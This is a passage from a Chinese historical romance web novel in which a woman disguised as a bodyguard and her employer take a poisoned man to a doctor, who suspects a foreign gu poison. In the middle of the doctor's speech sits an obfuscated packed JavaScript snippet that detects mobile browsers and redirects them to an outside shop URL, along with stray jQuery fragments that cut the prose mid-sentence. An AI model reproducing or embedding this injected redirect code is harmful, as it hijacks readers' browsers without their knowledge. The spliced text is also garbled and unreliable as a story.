“裴玄，你怎么了？”无暇看顾倒地的李文德，宋挽月忙上前扶住裴玄摇摇欲坠的身子。
“公子！”听到动静，景年从外殿飞身而入，“公子可是头疾又犯了？”他抬手扶着他，担忧地问。
“无妨。”裴玄单手扶额，剑眉不自觉紧拧，“李文德，他怎么了？”
他方才那一下收了力，应当不至于将人打成这样。
“不清楚，”宋挽月摸了摸李文德脉象，“他好似中毒了。事不宜迟，我们还是赶紧将人送到城中医馆为好。”
她略通医理，李文德脉象不稳，气若脾虚，目眦尽裂，双颊浮肿，瞧着便像毒发之人的模样。
主意是她出的，若是李文德当真曝尸荒野，那不光她和裴玄两人命案缠身，就连寻月也会因此事受到波及。
“走吧，下山。”裴玄脚步踉跄，双手捂着脑袋做痛苦状。
“你如何了？”
雨势愈发迅猛，庙外电闪雷鸣。
宋挽月发觉，云间每闪过一道惊雷，裴玄的脸色就煞白几分。
抬手撑着宋挽月瘦弱的肩，裴玄声线微哑，“不过是老毛病了……当务之急……还是赶紧将李文德送到城中妥当。”
搂着裴玄的劲腰，宋挽月主动撑起他上半身重量。
景年发觉手臂力道微减，便缓缓放手，背起倒地的李文德便先行向外走去。
此处离城门不远，多行一里便是林家村。
可此前为宋挽月治伤的郎中资历甚浅，怕是解不了李文德身上的毒。
此刻他奄奄一息，不知能支撑几时。
为保险起见，还是该早日请京中有名的医士瞧看。
未曾想宋挽月身材矮小竟有如此大的气力，她上身被雨水浸湿，纤薄的背脊仿若一阵风便能掀翻了去。
裴玄已然昏迷，双臂无力垂下，身子僵直宛若劲松般，靠在宋挽月瘦削的肩膀上左右摇曳。
密林深处，骏马不安地嘶鸣，牢固的缰绳牵动着树干毫无章法地倾侧。
李文德来时的车马还停在庙外，车夫在车内避雨，见自家公子了无生息得倒在一陌生男子的肩上，他面露惊恐，刚想说什么，便被景年一记手刀不由分说地打晕。
“祁公子，你陪着我家公子在车上休憩，我在前方御马，不出半个时辰，一定能赶往城内。”
他将车夫和李文德都塞进去，随意叠放在地，为裴玄预留出大片空间，好让他身子能舒展得开。
宋挽月躬身，小心翼翼将裴玄放在座椅之上，拉紧布帘，好挡住冰凉彻骨的雨点。
“景年，”宋挽月抬手探了探他鼻息，“裴玄这是怎么了？即便是头痛，也不至于直接昏死过去。”
未曾想他竟患有隐疾，难不成是何棘手的顽症，就连宫中御医也无计可施？
景年挥动缰绳，马车在雨幕中疾行，“祁公子不必担忧，休憩片刻便好。我家公子自小便有在雷雨天头疼的毛病，无伤大雅。”
“好。”将裴玄粘连在面颊的青丝拨弄到耳后，宋挽月微微叹息了声。
雨天道路湿滑，月夜雨晦风萧。
马车行步缓慢，多耽搁一炷香时辰才过了城门。
裴玄脑袋紧靠在马车右侧的横梁，每颠簸一下，额角便愈发得疼。
雷声轻减，他羽睫轻颤，就着微弱的光，视线在身侧打量。
宋挽月脸上的妆容已被雨冲刷得一干二净，秀发紧贴在鬓角，露出她超尘脱俗的脸。
薄唇不点而朱，鼻梁陡直翘挺，秀眉担忧蹙起，杏眸清亮地仿佛承载着浩渺辰星。
如此出众的皮囊，怎会是男子？
眸光顺着她优越的颈线向下，她那处平坦瘦削，确不像寻常女子般出众。
可那夜分明……
裴玄垂眸看了下拇指右侧的地方。
他感觉不会错，男子怎会有如此绵软的触感……
察觉到身侧的动静，宋挽月下意识转头，“裴公子，你醒了？”
收回思绪，裴玄并未言语，只是怔怔地瞧着她，描摹她精致的五官。
乍一看，这眉眼竟万分熟悉，脑海中隐隐有一道粲然的笑脸，模糊同她重叠。
“裴公子？裴公子？”
见裴玄不理人，宋挽月又唤了他几声。
裴玄思绪回笼，半撑着身子捂着唇轻咳，“嗯，到哪了？”
车辙驶过城门，一路向西而去。
西城的常德医馆郎中是裴玄旧识，景年略微思忖，便向那驶去。
雨势只增不减，医馆外灯笼随风摇曳。
景年拉了下缰绳，将车稳稳停下。
他翻身下马，重重敲了下门环，不过须臾，焦急的步伐便由远及近地赶来。
“何人在此？”
景年轻应，“明伯，是我。”
听出他嗓音，明伯忙不迭开门。
“发生何事了？”瞧见他浑身湿透，明伯不自觉担忧，
起身，裴玄翻身而下，“明伯，这么晚打扰了。车内有一伤患，还请明伯瞧上一二。”
没成想裴玄竟亲自造访，明伯自不敢怠慢。
他赶忙派小厮将人抬进屋内，张罗着抵上了门。
透过昏黄的烛火，李明德气若游丝，他面庞青紫，仿佛有什么卡在喉咙似的张大着嘴巴。
他浑身僵硬，双腿蹬得笔直，皮肤也仿佛在水中泡了多日，全然肿胀起来。
“这……”
瞧见病人的情况并不乐观，明伯忙不迭帮他把了脉，挑开他嘴和眼瞧了下情况。
只见李文德舌面僵硬，呈紫黑色，仅凭意志力吊着一口浊气，喉间还时不时发出声呓语。
“公子，”明伯面色难看，为他盖上薄被，“这位公子好似是中了巫蛊之毒，瞧着他浑身浮肿，四肢僵劲，我只能控制，并不知解毒之法。”
果然是中毒，宋挽月沉思着开口，“大夫，请问是何毒？”
打开背篓，明伯拭了拭额头的细汗，“不知，但依病者之貌，应当是蛮夷之毒。”
他想了想道，“我行医数年，若是大黎境内的毒，我均有所见。可这位病者的情况异常凶险，我猜测应是蛮夷有名的噬骨毒加入一品红调制而成，花毒可令中毒者短暂窒息，浑身浮肿，时间一长，噬骨毒便会蚕食掉中毒之人的四肢，使其丧失行动能力。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426769|140852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若中毒过深，亦可致命。”
他将银针缓慢插入李文德穴位试图稳住他病情，不让体内毒素过快扩散以至无法收场的地步。
听闻此话，宋挽月面色凝重，“蛊毒，您可确定？”
没成想李文德赴约前竟已深中剧毒，可他今日一直被藏在李府，难道是喝了醉红楼特供的销魂酒？
“无法百分百确定，只是疑似。”明伯道，“毕竟我从未出境，见过有关蛊毒的病患也少之甚少。不过我此前有读过有关这方面的医书，所以觉得像。”
毕竟他只是位江湖术士，无法同宫中御医相比。
既人已送到他这，他便只能用常规之法尝试为其缓解。
狂风阵阵，窗外惊雷劈过，裴玄唇线抿直，身子陡然间踉跄了下。
明伯见状，遂问，“公子的老毛病是否又犯了？”
裴玄扬了扬手，轻道，“无碍，您帮李公子医治便好。”
见裴玄推拒，明伯无奈起身，“这怎么行？景年，还不快扶你家公子去主屋歇息？”
景年忙道是。
“我正好要去帮李公子煎药，恰好连你的那份也一块煎了。”
他帮裴玄调理多年，可他头上的顽疾一直不见好。
平日倒还与寻常人无异，可一到刮风下雨，便疼痛难耐，晕眩不止。
明伯一片好意，裴玄无法拒绝，他将手臂从景年怀中抽回，搭在宋挽月消瘦的肩膀之上。
“祁公子，你随我去。”
宋挽月想再问问明伯关于蛊毒的事，遂拒，“你让景年陪你去吧，我在这看着李文德。”
右手紧箍着她右肩，裴玄充耳不闻，“作为我的暗卫，雇主生病你有照顾之责。李文德这边有明伯死不了，不用你时时看顾。”
话落，宋挽月便被裴玄强行带到主屋，一会小厮将汤药也端了过来，青烟袅袅升起，空气中弥漫着难耐的苦涩。
倚靠在床头，裴玄沉声指点，“喂我。”
宋挽月无奈觑他，看在他身子欠佳的份上，端起汤药乖巧坐在一旁，“喝吧。”
裴玄别过了脸，沉闷地抱起手臂，“太烫。”
张嘴抿了口，宋挽月被中药味呛地轻咳了声，“哪里烫，分明是温的。”
桃花眼微眯，裴玄用余光看她，“不烫，但苦。”
意识到这男人在刻意整她，宋挽月将汤碗猛地磕在桌上，“爱喝不喝！反正死不了！”
拽了拽某人湿润的袖口，裴玄以势压人，“这就是你对待雇主的态度？”
气结，宋挽月冷言反驳，“我是暗卫，不是丫鬟！男子汉大丈夫连死都不怕，怎得还怕苦？”
目光落在她优越的锁骨，裴玄眸光炙热，“你穿女装还挺好看的。”
以为裴玄又在暗戳戳嘲讽，宋挽月回怼，“比起裴公子还差些。”
裴玄听罢，轻笑，“我说真的，我曾见过的世家贵女，都抵不上你半分绝艳。”
视线征愣了下，宋挽月呼吸陡然间急促，“哪有？那是公子见过的姑娘少！”
裴玄目光微顿，沉吟着，轻笑了声，“不必多，就你这样的，便是最好的。”